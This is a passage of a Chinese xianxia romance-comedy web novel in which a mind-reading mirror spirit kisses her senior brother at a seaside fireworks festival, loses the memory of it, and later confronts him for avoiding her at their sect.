摊主乐呵呵地招呼道:“你们是归壹派的弟子吧?摊上的镜子每个都是我亲手做的,这些材料也是海边独有,买回去摆在梳妆台上看着多赏心悦目呀。离了这村可没这店了哦!” 石映心确实没见过,所以才好奇地拿起来看,但其实也没买的意思。她大师兄在边上问:“多少一面?” “大镜子二十灵石,小镜子十五灵石。” 这溢价倒也能接受。明易便问师妹:“你喜欢吗?” 石映心本想摇头,却忽然顿了顿说:“我要买一面给师父。” 说着就掏兜付钱了。明易倒是有些诧异地看着她,没想到她会想到这一层。若放在先前,她只会很简单地想“我喜不喜欢”,然后就是“我买不买”,很少再多想一层。 除非平时得了什么宝贝和奖赏,已经拥有了,她才会在此基础上想“有没有用”和“师父她们有用吗”,有用的话给,没用的话就囤着。 想到这,他又不得不想起那个玄猫木雕,他当时怎么也想不到这会是她亲手做的……还做得那么认真。 “大师兄,我买好了。”石映心见他在发呆,出声提醒。 “……嗯,走吧。” 一路逛下去,又买了炸鱿鱼和煎食追,前边就走到头了,二人便寻了个清静的地方坐下吃东西。 石映心吃得满嘴流油,她师兄沉默地坐在边上,偶尔瞅她一眼,没什么表情的脸瞧不出情绪。石映心平时和二师兄小师妹吃好吃的东西都是抢着吃的,大师兄这么安分她就有些不习惯,主动夹了一块煎石追递过去:“大师兄你吃不吃?” 大师兄:“我不吃。” “哦。”又问,“大师兄你喜欢吃什么?” “没什么特别喜欢的。” “哦。”想了想道,“你不喜欢吃东西?” “不喜欢。” 大师兄真是和她们不一样的,石映心想,像师父喜欢喝酒,她和换月二师兄喜欢吃东西,换月还喜欢看话本,二师兄则是喜欢赚钱……大师兄只喜欢修炼,但是修炼是不喜欢也要做的事,怎么能算是喜好呢? 吃完好吃的,石映心给嘴巴使了澄净诀,这下嘴里就干干净净没味道了。 看她吃好了,明易才问:“方才怎么想到要给师父带镜子?” 石映心说:“今日瞧见泉芷和方大哥因为安宗主很伤心,我想安宗主是待她们很好的。师父也待我很好,如果我是泉芷,也不愿意师父这么救我;但我不是泉芷,我高兴安宗主救了她。不过……这高兴中好像有些害怕。” “更奇怪的是,明明是其他人的事,我却总想到师父。师父常常替我赔钱,但前段日子我要还她钱她却不收,我想就买些礼物送给她好了,我先前送的礼物师父都会收的。” 明易其实惊讶她会感到这么复杂的感情,看她竟然带了些茫然的忧愁的面容,失言笑了一声:“原来你也没那么笨。” 石映心:? 她还不解起来:“我怎么会笨呢?” 明易却是笑着转过脸看海,不回答她。 石映心瞪着眼睛看大师兄等回答,但迟迟没等到,直到“咻”的一声,空中升起了引线,很快在夜幕中炸开一朵烟花。紧接着便是第二朵第三朵……拉开寂静的夜幕。 她们在山上也放过烟花,不过和海边是不同的,天上相继绽开的艳丽纷纷倒映在海面上,粼粼水光映照出清冷的绚烂;夜色中海与天仿佛是一体,视线尽头的尾焰落入水中,两片天地便在此交融。 石映心看见大师兄的侧脸被五彩的光照亮,他面色难得有些轻松,眉目舒畅、唇角微翘,似乎心情不错。高挺的鼻梁上有温润的光影,双眸中亮着不知是空中还是海上的烟火。 按理来说这时候应该看烟花的,但是大师兄怎么这么……吸引她视线呢? 她不知道为什么会看着他,很多时候她完全想不到“为什么”这一层,只是被本能驱使着这么做了。 要是问她,她最多会答“大师兄好看”。 明易感受到她的目不转睛,转头微一挑眉道:“看我做什么,我脸上有烟火?” 他就见石映心呆呆地眨了下眼睛,似乎回过神了却依旧这般直勾勾盯着他,真是奇怪的家伙;但更奇怪的是他一对视上她的眼睛,莫名也问不出什么话了,只能与她这么四目相对着,耳边放烟火的响声、远处人群的吵闹,一瞬间隔了好远。 她……在想什么? 石映心其实是有想一些事情的,但这些想法都游离在她的意识之外,于是很无意义:一会儿是大师兄怎么这么好看,一会儿是大师兄这么好看怎么回事,一会儿是大师兄刚刚问了什么来着,一会儿是大师兄在想什么呢好想照照看,一会儿是…… 咦,大师兄的黑镜好像坏了。 她能照了。 这瞬间福至心灵,于是镜灵不假思索地眨了下眼睛。 咻—— 烟火升起,石映心挨身而去,合了眼睛,轻轻吻上她视线中的双唇。 砰—— 脑花炸了,所有的血液沸腾膨胀,经脉呼之欲裂,却又在瞬间凝滞。 噼里啪啦—— 石映心回神,微微退了一些身子,睁开眼睛和她大师兄四目相对着。二人的表情十分相似,只是一人多是茫然,一人多是惊诧。 总之是石映心先反应过来,“啪”的给了她大师兄一巴掌。 她扇得不轻不重,正好在放烟花的夹缝中发出一声清脆的响,正好把明易的头扇到了一边,正好让他糊涂的脑子清醒了一点,转过来惊愕道:“石映心!你——” 石映心眉头一皱,不解道:“大师兄,你为什么要亲我?” 明易:!? “……是谁亲……”话语声又戛然而止在她再次的亲吻中。 “啪。”接着他又挨了一巴掌。 石映心:“怎么又亲?” 明易:………… 无法可想就是他现在的脑子,他简直不知作何反应,压根不明白该怎么办,只是忍下所有澎湃的情绪,一双冒红的眼瞪住罪魁祸首,咬牙切齿地问:“石映心,你到底想做什么?” 石映心还觉得无辜呢,但比起她大师兄压抑下的情绪,她的不解和茫然都很浅,像是浮在海面上的游光。 她问:“大师兄,你为什么亲我?” 明易觉得她简直荒唐:“是你亲了我!” 石映心无辜地看着他,坦诚地解释道:“我照了你,是你要亲我我才亲的你。” 照…… 照谁? 他只觉得脑子轰的一声,真是被天雷劈中了,竟失态道:“胡说!” 石映心从没见过他这样慌张的态度,也是很诧异:“我没胡说。你不信我再照你就是……” 话音未落,额间被猝不及防地冰冷一点,镜灵便晕了过去。 明易看着倒在他肩上的人,随着他急促的呼吸而微微起伏的睡脸,久久回不过神来。 他颤抖的手指缓慢抚上了自己的双唇,方才的触感那么虚幻但已挥之不去,这两片肉僵在那不知所措,好似已经脱离本体,不再属于他了。 这一切……他该怎么反应? 是该想她的吻,她的巴掌,还是她质问他时那清澈好奇的目光;不,应是先想他自己……她照了他,她亲了他……可他为什么想亲她? 难道是…… 直到今晚烟火燃尽,远处的喧嚣归于寂静,海面上只留下得闲的月亮,岸上相依偎的身影才悄然不见—— 作者有话说:这样到底算谁的错嘞 第72章 石映心一觉醒来,觉得脑子有些晕乎乎,不过很快便恢复了,她便没多在意。 她想起今日要回门派了,心情就高兴了一些,收拾行囊的时候忽然觉得自己好像忘了什么,疑惑之中发了会呆,但怎么也想不起来,便甩甩脑袋不想去在意。 不多久她收拾好行李去找师妹,她正在屋子里胡乱收拾着,见她来了便说:“师姐你醒啦,你昨晚怎么又喝酒了?大师兄送你回来的时候看着有些不高兴呢。” 她昨晚喝酒了?石映心没印象:“是吗?大师兄呢?” “噢噢,大师兄先回门派了。”曾换月一边把新买的话本收起来一边道,“今早上地府派鬼差来了解禁地的情况,和两位宗主密谈了一会,又要去我们门派找掌门师公……好似事情有些严重呢,师公送信来让他赶紧回去。” 原来是这样,石映心点点头,忽然话锋一转:“昨晚……在我喝醉之后有没有发生什么重要的事?” “重要的事?”曾换月歪歪脑袋,“没有呀。怎么了?” “没什么……我总觉得我好像忘了什么。” 曾换月哈哈笑起来:“师姐,喝醉的人醒后就是这样,这叫断片!意思就是把喝醉之后的事情都忘了。你先前照了师父和赵宗主就晕了过去,估计昨晚也差不多吧。” 石映心觉得她说得有几分道理:“嗯……” “师姐,你以后还是别喝酒了,我昨晚看大师兄真的有些生气呢,估计是你犯事惹麻烦喽,嘿嘿。” “……哦。”这声就有些心虚了。 临走前,自然要去和泉芷道别。 和昨日的伤心欲绝相比,泉芷这会已经缓过神来,除了双眼通红、面色还有些憔悴之外,精神倒是不错。瞧见石映心三人时眼里还亮了光,迎上来道:“唉,你们要走了,我实在是舍不得。” 石映心点了点头问:“那本书你看过了?” “看过了,真是多谢你们。”她扬起一个真心的笑,“虽说书上记载寥寥,但总归是一线希望,不日我便要去昆仑山,一定会在一年之内找到神泉……你们要等我好消息!” 石映心:“好。” “你可以的泉芷!”曾换月比了个加油打气的手势,“到时候再来我们归壹派玩哦,我们招待你。” 顾梦真连连点头:“是啊是啊,十里不同风,百里不同俗,我们归壹派也有许多好玩的,你就来吧!” 泉芷感激一笑:“好,等我找到神泉就去归壹派找你们……一言为定。” “一言为定。” 人生路漫漫,漫漫亦灿灿,那就在此许下约定,期待再会吧。 * 在合欢宗待了大半月,水土不服也服了,合欢宗驿站已经修好,传送回归壹派山脚只需一刻钟,一出传送阵几人被袭来的冷空气吹得打颤,感到一些不真实的恍惚。 “天,往常这时候山上已经这么冷了吗?”顾梦真搓搓胳膊道,“合欢宗白日还热着呢。” 她们都没带厚衣服出来,曾换月发起抖来:“系啊,给我冷哆嗦喇,赶紧上山吖!” 顾梦真:“啊?哦……” 怎么感觉哪里怪怪的。 回到山上,第一时间是去递交因果牌,顾梦真在万事堂跑进去跑出来气都没喘匀,迫不及待地就要清点奖赏,他两个师妹却都没兴趣,挥挥手就说你看着办吧,她俩先去看师父了。 顾梦真连忙跟上:“别呀,一起去嘛!” 来到云雨峰,慕雲却是不在,她们便猜想是和地府来的鬼差有关,估计这会正在和大师兄、掌门师公一起说话?几人就打算先回自个窝里休整一下,晚些时候再过来。 用晚膳时又来了一趟,这会是见到师父了,就是瞧着有些头大的模样,坐在那撑着下巴,眉头微蹙,好似有些烦心呢。 三个走进去问好。慕雲见了三个崽子,脸色转阴为晴道:“哎呦,回来啦?” 曾换月笑嘻嘻道:“是啊师父,你是不是很想我们?” 慕雲呵道:“我现下就有些怀念你们几个不在时的清净了。说吧,这次出去又给为师惹了什么麻烦?” 曾换月撇嘴:“哪有惹麻烦?” 慕雲呵呵道:“你还好意思说?我还没和你算私自下山的破账!” 这下曾换月总算想起来了,先前只记得完成任务和总算回家了的喜事,当初私自下山的罪过早被她抛去脑后了。顿时脸上一哭,呜呜地躲去她师姐的背后:“师父你就别罚我了,我也是好心帮师姐她们做任务,没有功劳也有苦劳啊……” 慕雲呵呵呵道:“一码归一码哈。我看挨板子你也不长记性,这样好了,你去抄门规一百回,三日后给我。” “什么!?”这怎么作弊啊! 顾梦真这回自觉无错,幸灾乐祸道:“她还差点毁了我的星月葫芦,又让映心溺水了!” 曾换月心虚嚷道:“师姐和葫芦这不都没事吗!” “没事也招了麻烦。” “二师兄你也太小气了,师姐都没说什么!” “你日日就知道糊弄映心,她都被你教坏了!这次居然还帮你为虎作伥。师父,你不要放过小师妹啊!” “你!你也半斤八两!” “谁跟你半斤八两……” …… 石映心被二人挤在中间,默默地捂住了耳朵。 慕雲已经不堪其扰,大喝道:“够了!都给我安静——” 二人总算闭上嘴巴,在那吹胡子瞪眼。石映心揉揉耳朵问道:“师父,大师兄呢?” “哦,他啊。”慕雲喝茶,“方才在和你师公还有幽都来的那个黑小子说合欢宗禁地的事,不过一些事宜还要等妽荼仙尊回来再谈……这会应该在招待黑小子在我们门派中做客吧。” “黑小子?”石映心想了想,“是天下太平吗?” 慕雲:“天下太平是什么?” 曾换月先记起来:“黑无常,是不是黑无常啊?” 慕雲:“对,就是他。” 顾梦真奇怪道:“合欢宗禁地为何会引起幽都的重视?这个黑无常早上已经去了合欢宗,又跟到我们归壹派来,还要惊动妽荼仙尊……” “我过去听了个大概,”慕雲给徒弟们解释,“明易在禁地中发现马懿的记载日志,说是这禁地困住了一百多号人口,几百年来自成轮回体系,已经脱离了地府的管辖;这些人死了再生,生了又死,始终在禁地中出不去……” 听到这,顾梦真大惊:“竟已超脱了规天矩地!那鲛人先祖有这么大本事……” “所以此事才引起了幽都的重视。”慕雲手一摊,目光一一打量过三个弟子,瞧着都很精神,似乎还胖了一些,“你们在禁地中没遇到什么危险?” 顾梦真说没有啊,除了有些糊里糊涂的,其他倒是没什么;曾换月道你当然没什么了那些村民都被师姐杀光了。顾梦真夸了句映心真厉害,心里嘿嘿地想:和映心大师兄一同下山就是有这样的好处。 慕雲惊讶徒弟在禁地中杀人了,问她发生了何事,石映心就把照泉绮的事简而告知;这时候顾梦真和曾换月就说她们都没遇见泉绮呢,只看见了李二婷。 慕雲很快发现古怪,便回想了明易的说辞,发现大徒弟也没碰见,那就是只有映心和泉芷见过泉绮;可泉芷是鲛人族,泉绮特来一见倒也正常,为什么映心也…… 她思酌的时候,徒弟们也在嘀咕。曾换月道:“其实泉绮也想了结秘境吧,不然也不会特地找到师姐,可她为什么不直接说呢?” “这倒好解释,你见过出题的人主动告诉你如何解题的吗?自然是靠悟了,估计泉绮的这缕残魂根本无法说破境之法,好在是遇见了映心,只要她一……”说到这顾梦真“唔”了一声,眉头一皱:“咦?可是不对呀,连泉芷都不知道映心是镜灵,为什么泉绮知道呢?” 三人纷纷抬眼看向不知何时开始捞桌上东西吃的某人。 石映心早就心不在焉了,眼里只有甜甜果。 师父问:“映心,泉绮和你说了什么?” 好像是说了什么,但是:“不记得了。” “映心也不靠谱。”二师兄摇摇脑袋说,“那可是鲛人族的先祖,指不定和你说了一些难得的机遇良缘呢?” 石映心想了想:“没什么特别的……她还无故骂我蠢、油盐不进……” 三人:? “说我终有一天会明白什么……但她又不说明白,就叫我用帝血剑杀了她。” 三人:?? “我本想多问几句,可是听了她的毒音,着了她的道,一挥剑就把她杀了。” 三人:??? 真是莫名其妙又信息量好大的三句话。她们自觉在经常搞错重点的笨映心身上问不出什么更重要的信息了,再多议也是无用;曾换月又叽里呱啦地说了后续泉芷和安蔚然的事,听得慕雲也很唏嘘。 好在是说到这了,石映心想起来自己给师父买了礼物,将镜子拿了出来。 慕雲稀奇地接过来,看看精致的镜子又看看徒弟,眉尾一落,有些感动道:“映心,难为你在外头玩还想着为师……” 这确实是可喜的进步,她往常只会在闯祸之后才会闪过师父骂骂咧咧的面容,比如需要赔钱的时候…… 石映心乖巧地点点头:“师父你喜欢吗?” “哦呦。”慕雲又是一惊,“你还会问我喜欢不喜欢了。” 二师兄跳过来说:“怎么回事?映心上次送我她种死的灵花的时候都没问我喜欢不喜欢!” 石映心转头看他:“二师兄你不喜欢吗?” “……也不是不喜欢啦,就是……额……”就是不知道你到底送这个是什么目的呢? 石映心看着支支吾吾的二师兄:就是什么? 曾换月拿着镜子打量起来:“这镜子真好看,在我们山上可买不到。这是我见过师姐送过的最像样的礼物了,师父你就偷着乐吧!” 石映心看着满脸感慨的小师妹:……最像样? 这会又想起莫默师兄的话,她不得不冒出一些疑问:难道她真的不会送礼吗? “偷着乐做什么,我要明着乐。”慕雲把镜子拿回来,满意道,“等会就把我那面旧的给换下来。” 又瞥了不省心还没眼力见的两个:“你们两个也买了不少玩意吧?怎么没记得给为师带点?” 买了一大堆拿不出手的话本的曾换月:“有啊有啊,忘在窝里了,明天带来哈!” 师父一眼拆穿:“呵呵,尽是些谈情说爱的话本是吧?” “这个这个……” 买了一大堆要倒卖的首饰自以为拿得出手的顾梦真:“我当然记得了,我给师父您买了一些发簪手链颈饰……” 师父二眼拆穿:“得了吧你,我平时压根不用这些,倒不如之后赚了灵石分我些!” “应该的应该的……” 没想到还会被映心坑了一把。 第73章 迟钝如石映心,如果不是小师妹的无心之言,还没意识到大师兄在躲着她呢。 事情是这样的,从合欢宗回来之后,石映心休息了两日便开始继续去黑竹林练剑,往常偶然会来陪她练剑的大师兄连着几日都没来,她虽有疑虑,但想到大师兄平日很忙,再加上要处理禁地的后事,不来也是正常的,便没多在意。 她倒是和范无咎偶然遇见过一回,在东膳堂里,对方嘴巴里塞着东西还没咽下,眼睛鼓鼓地瞪着她走来。 石映心谨记师父师兄的礼数教育,遇到认识的人尤其是年长的前辈要问好。她又不是记仇的人(主要是有仇一般早报了),于是上去和范无咎打招呼:“范道友,你还没走。” 范无咎努力咀嚼:“唔啊唔唔大大?”谁跟你是道友? 石映心转头看看:“师父说大师兄这几日在忙着应付你,都没有时间和我练剑了……我大师兄呢?” 范无咎也到处看了看:“捂捂?啊恩啊踩得。”明易?方才还在的。 石映心眉头一皱:“怪不得师父和我说用膳时不要说话,确实一字都听不懂。”说罢转头走了。 范无咎把难咽又黏嘴的炒年糕吞下去,冲着她的背影叫道:“你故意的是不是!喂,石映心——” 这个时候还没觉得怎么样。 两月一回的集市过后,顾梦真靠合欢宗的特产首饰赚了好大一笔,独乐乐不如众乐乐,这只铁公鸡居然要请大伙吃饭,说是顺便庆祝首次任务告捷,大家都很高兴地应邀了。 地点是在他的林夕洞,原本堆积着许多杂物(顾梦真:宝器!)的院子难得被打理干净,看起来宽敞不少;院中间拼起来两张桌子,上边摆了许多佳肴,还有少数美酒。 入夜后山上有些冷,桌子边上放着两个火桶,火桶上又横了一个烧烤架,就可以一边照明取暖一边烧烤。除了师兄师妹,他还找来了莫默晴雯等人,场面很热闹。 这会人都差不多到齐了,石映心坐在火桶边给大家烤肉,烤着烤着看见师父乐呵呵地在喝酒,忽然想起之前师妹说她喝醉了大师兄生气的话,算一算那是好几日前的事了,大师兄应该早就不气了吧,说起来…… 咦,怎么没瞧见大师兄? 她左看右看,确实没来。便问二师兄,后者一副才想起来的模样:“啊,我没和你说吗,大师兄昨日就下山了,好似是要办什么事呢。” 石映心微微一愣:“我没听说。” 往常大师兄下山的时候都会问一问她要不要捎带什么回来…… 曾换月在边上道:“可能没来得及和师姐你说呢,大师兄看起来有些着急。” 石映心:“哦。” “这小子一天天的没个消停,也不知道劳逸结合。”慕雲端着酒壶凑过来,“你们何时见他休息过两日?” 三个徒弟摇摇头。 莫默加入话题:“你们提到这个我也想说一句,自明易从合欢宗回来后,我总觉得他哪里怪怪的……” “哪里怪啊?” “啧啧。”莫默却摇摇头,“说不上来。好似对修炼更上心了,有一回他大半夜还在院里练剑呢!” 晴雯奇道:“你大半夜的去明易洞府做什么?” 莫默支支吾吾地解释:“前几日戒律堂要检查日行札记,我平日偷懒耍滑都写得很应付,便想着借明易的看看……” 曾换月呵呵:“大半夜去借啊?” 莫默心虚地眨眨眼,咳咳几声挪开话题道:“总之他大半夜的不睡觉在练剑,真是叫人无语。” 顾梦真:“难道师兄急于破境?” “不是吧。”慕雲觉得不是这样,“前几年年少气盛是心急些,这几年我看还好呢,平日除了日常修炼,都在忙戒律堂和因果牌的事。而且他心里清楚,元婴入化神还需机缘。” 莫默点点头,又说:“不过他这段日子对戒律堂的事也格外上心,早早地来晚晚地走,走了还不休息继续修炼,真可怖一男的,以前还会抽空去和映心练剑的……” 他说到这,大家纷纷看向石映心:“映心,你是不是也觉得明易最近有些古怪?” 石映心把烤焦的肉串放到二师兄盘子中:“不知道,从合欢宗回来后我就没见过大师兄了。” “是哦。”大伙也没觉得奇怪,曾换月摇头感叹道,“大师兄也太认真了,又正经又自律……世上怎么会有这样不喜欢偷懒人呢?搞不懂他心里在想什么,要是师姐也能照一照大师兄就好了。” 石映心迟疑地愣了一下:……照? 慕雲“咦”了一声,看向石映心:“可我听你们 天虚师公说明易的黑镜坏了啊,前几日还在问能不能再做一个新的呢。” 黑镜坏了? 石映心忽然觉得脑子一抽,她疑惑地捂住脑壳,面上有些茫然。 “啊?”曾换月惊讶,“黑镜什么时候坏的?” 顾梦真推测:“应是在最后抵御巨浪的时候吧,我还看见大师兄被反噬了,是映心扶着他下来的。” 巨浪……反噬…… 石映心的脑子又抽了两下,像是有人弹皮筋似地弹了她的神经。 曾换月可惜道:“哎呀,师姐错过了这次好机会!” 好机会…… 石映心:脑子抽抽。 慕雲这时候发现她脸色奇怪,关切地问:“映心怎么了,头疼?” 石映心微微甩了甩脑袋,实话实说道:“不疼,只是有些……脑抽。” 大伙一愣,下一秒都哈哈大笑起来。慕雲哭笑不得道:“傻瓜,你是不是又喝酒了,还是偷偷照了为师?你分明酒性不好还屡教不改,真是不知道拿你怎么办好。” 我没喝酒啊。石映心想,她没喝,那天晚上也没喝…… 那天晚上? 可是小师妹说大师兄说她喝酒了……但……好奇怪,好奇怪!有哪里不对劲。 石映心一敲脑壳,停止纷乱的思绪,双目定在面前的焦黑肉串上坚定地想,等大师兄回来,她一定要问清楚那天晚上到底是怎么回事。 嗯,就这样。 “呸呸呸!映心,这肉串都焦了你还放我盘里!” 映心回神来:“哦,我方才没找到地方扔,就先放一放。” 二师兄无能小怒:“你——你别烤了,边上吃着去!天天瞎捣鼓……” “熟能生巧嘛二师兄。” “那你为何不自己吃呢!” 石映心就不说话了。 肉串烤到什么程度好吃她尚不熟悉,但谁最好欺负她不还清楚吗? …… 这天晚上只是略有察觉,但不多。 接着是七日后休沐,曾换月来她洞府找她玩,二人坐在院中一边晒太阳一边看话本吃小食。小师妹近日很着迷从合欢宗买来的话本,常常一看就是一个通宵,然后第二日顶着黑眼圈去师父那上课的时候被大骂一通。 这也是个屡教不改的,还算了算,说是距离话本看完还要被师父大骂六通……有可能会少两回,因为今日师父骂她的时候已经有些嗓子哑了。 石映心一时分不清谁更可怜。 “唉!”这会她看到兴头处,怒叹一声,“这破男主有话不说,一遇到事情就逃避,看得我都经脉淤堵了!” 石映心摸她的手腕脉搏,除了很激动外还好好的。她放下心来问:“为什么他不有话直说呢?” 曾换月白眼一翻:“不知道啊,神经!” 石映心点点头:“确实,我也讨厌有事不说。” 又看了一会,曾换月黛玉捧心喘气道:“受不鸟了,这口口男主,真他爹的脑子有口口,女主主动找他解释,他居然避而不见,就这么躲了女主好几个月!他爹的口口口口……” 石映心感受到师妹的气急败坏,拍拍她后背安抚道:“不要生气,既然是男女主,总会见到面的。” “可我着急啊!”渐渐地,曾换月发展到谩骂作者的阶段,“这口口作者,偏要这么急死读者是吧?以后他的书我都避雷!!” 石映心说:“那是比天雷好避的。” 曾换月越想越气,把书往桌上一pia,嘟囔道:“要是我来写的话……我就这么写:女主冲到男主家中,男主避之不见,女主抬起一脚把门踹飞——跑进屋攥住衣领质问到底什么回事!” 石映心觉得这剧情有些刺激,期待地问:“接下来如何呢?” 曾换月勾起一抹恶毒的微笑:“接下来?呵!若是男主不说,就给他一巴掌!再不说,再给一巴掌!看我把他的死嘴打烂!他爹的,长了一张只会强吻不会解释的破嘴,真是可怕得很!” 她一边说一边咬牙切齿地左手右手快动作扇空气,挥来的掌风吹开石映心的碎发,让她有片刻的神志恍惚。 巴掌……强吻…… 这剧情总觉得有些…… 想到这里又开始脑抽了。也是这脑抽让她记起自己有事要问大师兄,不知道大师兄什么时候回来…… 曾换月还在边上气鼓鼓地说:“可恶,这作者的两本书都看得我好气,早知道还是看之前那个作者的书好了……可惜这次大师兄走的时候没找他帮忙带话本,这会他都已经回来了……” 石映心:? 她微微诧异地抬眼看去:“大师兄回来了?” “回来了啊。”曾换月也是一愣,脸上的愠怒都凝了一些,“前天就回来了,师姐你不知道啊?” 石映心:OO? 曾换月:OO? 四O相对,还是曾换月先奇怪道:“欸,以往大师兄回来都是师姐你和我说的呢,怎么这次我是一手消息了?” 那可不是嘛,先前每回明易从山下回来,都会先去找石映心,要么是给她送小玩意,要么是嘱咐什么,更多时候是陪她练会剑弥补离开的空白……但是这次? 第74章 不对劲,石映心这会终于感到很不对劲了,喃喃道:“说起来,自从合欢宗回来我就没见过大师兄了。” “什么?”曾换月大惊,“这都快一个月了,师姐你还没见过大师兄!怎么回事啊?” 石映心微蹙眉头:“不知道,但也不是他不见我,或者我不见他,就只是……没碰上。” 不刻意的不巧,叫人拿不准。但他们师兄妹四个感情好,都在一个山头上,鲜少有这么久没见面的时候。 二人思酌许久,还是曾换月说:“师姐,不管怎么看师兄都像是在刻意避着你,是不是你在不知情中惹他生气了?你和师兄最后一次见面是什么时候?” 石映心道:“就是合欢宗烟火大会那晚。” “哎呀,”曾换月垂手定音,“那定是你喝醉闯祸了!” “但我记得我没喝酒……” “没喝酒的话,你怎么会忘记了当晚的事呢?”曾换月挠挠脸,“想不明白,不如你直接去问大师兄吧!我们都要做长了嘴能解释误会的爽快人!要是大师兄不说,你就、你就……” 石映心还记得她刚刚吐槽的剧情:“打他嘴巴子?” 曾换月一吓:“不不不,这不好不好……大概率是你做了错事,师姐你不能再一错再错了!” “那该如何?” “你就……死缠烂打吧!大师兄拗不过你的!” 石映心想想也是:“好,我这就去找他。” 这个时间明易大概率在戒律堂,石映心本想直接过去,但又怕轻举妄动再被大师兄躲开,还是要猝不及防地出现好;于是脑子一转想了个妙招,折了张要传给大师兄的传音鹤,跟在它后头寻过去。 没想到传音鹤飞去了日月洞,“咔”的一声撞到了门上,掉落在她手心。 石映心不打算敲门,一推——没推开。 这没办法了,她只好砰砰砰地闹起门来,在外边喊:“大师兄!我是映心!” 没动静……倒也不算,毕竟她敲门的动静太大,遮盖住了屋里的声音:“大师兄开门呐,别躲在里面不见我,我知道你在屋里!大师兄——” 门被打开,许久未见的大师兄还是那副熟悉的模样,微微皱着眉的无奈,摇摇头叹气道:“你这么大动干戈的做什么?门都要被你敲坏了。” 石映心第一时间就是照他——没照着。难道师公已经做了新的黑镜给大师兄?唉,真是照不逢时。 她顿时有些失落,只好直白问道:“大师兄,你最近是不是躲着我?” 明易挑眉道:“难为你发现了。” “为什么躲着我?” “还问为什么,” 明易呵呵一笑,“你方才是不是照我了?” 石映心:OO “没有。” “没照着是不是?” 石映心叹气道:“师公这么快又给你做了一面黑镜。难道你就是因为不想被我照,所以这几日才躲着我吗?” 明易说是。 石映心又问他何时得了新黑镜,明易说:“前几日下山去找炼制黑镜的材料,昨日刚得的镜子。” 昨日?“那你已经得到了黑镜,为什么还不来找我?” 明易一顿,视线轻巧地移开了:“无缘无故的找你做什么?和你炫耀?到时你又不高兴。” 石映心皱眉:“但你避着我不见我,我也会不高兴。” 明易无辜一笑:“我以为你不会发现。” 石映心:……确实差点没发现。 好吧!这事暂且搁边上不谈,她还有别的问题:“大师兄,换月说烟火大会那晚我喝醉了,你很生气,确有其事?” 明易眨了下眼睛:“嗯。” “你生气什么?” “……我叫你别喝,你偏要喝,喝醉了就不省人事,还得我背你回去。你一不听话,二给我惹麻烦,我生气不应当吗?” 石映心盯着他,忽然笑了一下:“大师兄,你骗人。” 明易也看她,面无波澜:“你照不见我,怎么知道我骗人?” “原因有二。”石映心难得有这么严肃认真的表情,“其一,我喝醉了酒是不记事,但前两回都记得自己有没有喝酒,刚喝酒时的难受也记得,但这回什么都没有;其二,我这几日总是脑抽,隐隐约约觉得忘了什么重要的事,但怎么也想不起来……” “最重要的是,”她一下攥住了明易的手臂,像是在防止某人逃脱,“前几日师父和我说,元婴后期会学一奇术,能将灵识聚于元婴之中,不仅能脱离**、沟通天地,还能夺舍肉身!我便问师父能不能侵入人的灵识、篡改人的记忆……” “师父说能。”她看着大师兄漂亮闪烁的双眸,露出一个狠狠的笑,“但是师父还说——这些功法有些邪气,学了容易走火入魔!” 听到这,明易便侧过了脑袋移开了视线,原先还有些笑意的脸上也尽是漠然。他想把师妹的手甩开,但转而又让她拉住了袖子。 这人还在不依不饶地问:“大师兄,那晚到底发生了什么,你为什么要篡改我记忆?你要是不说,我就去告诉师父——” “石映心!”明易对着边上的门框轻声一喝,“你就不能给我留些隐私吗?” “大师兄你有什么隐私?” 明易对着门框说:“那晚要不是你照了我,我也不会出此下策。你若不想因此事影响我们二人的师兄妹情谊……便不要再问了。” 这么严重吗?还影响师兄妹情谊…… 石映心更好奇了。 她想起师妹的支招,不依不饶道:“大师兄,发生什么事都不会影响我们师兄妹情谊的,你就和我说吧~如果你不愿意告诉别人,我定不会说出去的!但你不能篡改我记忆,明明我已经知道了,你又让我不知道,我不能接受这样……” 听着她的絮絮叨叨,明易的额头都要抵上门框了,他低声喃喃道:“你根本就不懂。就连我自己都……不知道怎么面对自己……” 石映心还在那:“大师兄!大师兄你说话呀……” 明易狠狠叹了口气,使劲把袖子扯了过来,转身道:“你要去和师父说就去吧。” 哇,他居然这么说!石映心见他要走,心里真是不得劲极了,气得一跺脚,猛地扑了上去——啪! 别紧张,只是给她大师兄的背来了一对巴掌。 明易被推得一个踉跄,好险没摔倒,稳住身形后转过来瞪她:“石映心,你不要太过分了。” “大师兄你才过分,”石映心横眉竖眼的,“若不是什么见不得人的心思,你何必大费周章地篡改我记忆!你该不是做了对不起我的事?” “呵。”明易听得满脸荒唐,“你搞清楚,是你照了我,要做也是你做了……什么。” 石映心狡辩道:“这不一样,我是照了你,可若不是你心中有鬼,我怎么会鬼上身?” 明易气得咬牙切齿:“君子论迹不论心,我自认不算君子,行事也不够公正坦荡。可我问你,世上谁人心中无鬼?石映心,难道你就能做到心思澄明、毫无恶念?” “我……” 说着说着他也起了些气势,两步逼近她,一字一句道:“有恶念又如何?不过是想想,难道想想也犯法?我有自控之力,可不像某些人——知法犯法、知错犯错!” 石·某些人:…… 大师兄说起道理来是连师父都避之不及的,那叫一个有理有据、以德服人,听得叫人难以辩驳……可惜他碰上了石映心。 石映心目光如炬地不避开他质问的视线:“大师兄你说得很对,人有坏心再正常不过,可你也不必以小见大,一件小事却要用这么大道理敷衍我。归根究底,那晚就你我二人,你若有坏心也是对我的,这没错吧?” 明易:。 石映心:“你方才还说什么有损师兄妹情谊……难道大师兄你对我……” 二人大眼瞪小眼着,视线之间空气焦灼。明易出神地望着她奇异的双目,心说难道迟钝的笨映心已经发现了他对她的…… 石映心:“难道大师兄你对我有杀心吗?” 明易:…… 他到底在期待什么。 深呼吸,叹气:“回去吧映心,不要闹了。” 说着要把她推出去,石映心扭了扭身子,一脚把房门踹开跳了进去,两三步已经到了里屋,杵在那道:“今日你不和我说清楚,我就赖在这不走了。” 明易:…… 杵在门口看了她一会,明易扯了个皮笑肉不笑道:“好,你不走我走。这日月洞给你住便是了。”说完转身离开。 “大师兄!!” 气死人了。 石映心虽然生气,但也没去师父那告状,甚至小师妹问起来,她也只是撇了撇嘴,不想多说。大伙很快发现了她和大师兄在闹不愉快,这是很罕见的,往常谁惹她不高兴了,她要么告状要么搞点恶作剧,然后就高兴了。哪里见过她和人冷战的? 慕雲便叫来明易问话,明易有些惊讶石映心没告状,那他更不可能说了。嘴硬地说不清楚,请师父去问映心吧。 从大徒弟这问不出什么来,慕雲又问石映心,这家伙又让她去问明易……搞什么玩意,这样不是没完没了的? 